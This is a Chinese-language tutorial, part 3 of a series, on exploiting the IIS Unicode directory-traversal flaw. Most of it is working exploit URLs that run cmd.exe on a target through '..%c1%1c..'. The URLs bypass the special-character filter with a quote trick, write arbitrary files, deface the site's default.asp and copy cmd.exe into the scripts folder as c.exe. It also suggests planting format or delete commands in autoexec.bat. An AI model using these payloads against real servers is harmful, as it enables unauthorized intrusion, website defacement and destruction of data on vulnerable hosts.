UNICODE编码漏洞全攻略-3

/ns/ld/win/data/20010426131345.htm

―――――――――――――――――――――――――――――――――
在攻略2里我提到
至于对aa bb这样中间带有空格的文件夹怎么看,目前我还不知道,如果谁知道
可以写出来。
通过对dos的8.3规则的补习,终于弄明白怎么看aa bb文件夹了方法就是以下
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:\aabb~1
aa bb=aabb~1
如果同目录下还有aab b文件夹,就用这样的代码看aab b文件夹里的内容
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:\aabb~2
依此类推。

四、如何简单地修改目标主机的web页面
一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道
工具> >>。
先复习一下这些命令和管道工具的功能。
D:\>echo/?
显示信息,或将命令响应打开或关上。
ECHO [ON | OFF]
ECHO [message]
仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。

管道工具> >>的功能
"> >>" 是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中.
>>产生的内容将追加进文件中,>则将原文件内容覆盖。

再看看cmd/?里面的部分内容:
请注意,如果字符串有引号,可以接受用命令分隔符 ‘&&‘ 隔开
的多个命令。并且,由于兼容原因,/X 与 /E:ON 相同,/Y 与
/E:OFF 相同,并且 /R 与 /C 相同。忽略任何其它命令选项。
如果指定了 /C 或 /K,命令选项后的命令行其余部分将作为命令行处
理;在这种情况下,会使用下列逻辑处理引号字符("):
1. 如果符合下列所有条件,那么在命令行上的引号字符将被
保留:
- 不带 /S 命令选项
- 整整两个引号字符
- 在两个引号字符之间没有特殊字符,特殊字符为下列中的
一个: <>()@^|
- 在两个引号字符之间有至少一个空白字符
- 在两个引号字符之间有至少一个可执行文件的名称。
2. 否则,老办法是,看第一个字符是否是一个引号字符,如果
是,舍去开头的字符并删除命令行上 的最后一个引号字符,
保留最后一个引号字符之后的文字。

――――――――――――――――――――
从以上可以得到什么启示?
我们知道IIS加载程序检测到有CMD.EXE或者COMMAND.COM串就要检测特殊字符
“&|(,;%<>”,如果发现有这些字符就会返回500错误,所以不能直接使用
CMD.EEX加管道符等。
通过
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+badboy+> c:\badboy.txt
我们可以看到提示
HTTP 500 - 内部服务器错误
Internet Explorer
经过反复测试,并从上面cmd内容的提示,我们可以会发现"引号字符是可以利
用的,中联绿盟的yuange(袁哥)发布过关于这字符的公告,我想也许也是从上面
的cmd/?信息中得到提示的,(纯属个人猜想,如果不是,请yuange不要见怪)。

我们要得到echo与>的结合使用,可以这样操作。
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+badboy+> c:\badboy.txt
注意,与开始的命令的区别只在于cmd后面多了个"字符。
运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
英文意思是
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:

实际上,我们已经把badboy写入到c:\badboy.txt文件里了。

利用这样的方法我们可以建立.bat .txt .asp .htm .html 等文件,这对于一个存在这
漏洞的网站可以说是致命打击的开始,尤其是能写.bat文件
如果我们在autoexe.bat里面加入format del等命令时,你想结果会如何??

回到修改网站页面的问题来。
比如说想修改c:\inetpub\wwwroot\default.asp
我们就可以这样在地址栏输入:
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+your+site+has+unicode+bug+> c:\inetpub\wwwroot\default.asp
那么再看他的首页时,已经被修改为
your site has unicode bug

事情就那么简单,任何一个普通人都可以通过地址栏对存在该漏洞的目标主机做最简单的
HACK行为。
当然,如果为了方便输入,我们可以把cmd.exe改名为其他名字的文件,比如说c.exe
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\c.exe
以后使用就可以直接
http://x.x.x.x/scripts/c.exe?/c+echo+badboy+> c:\badboy.txt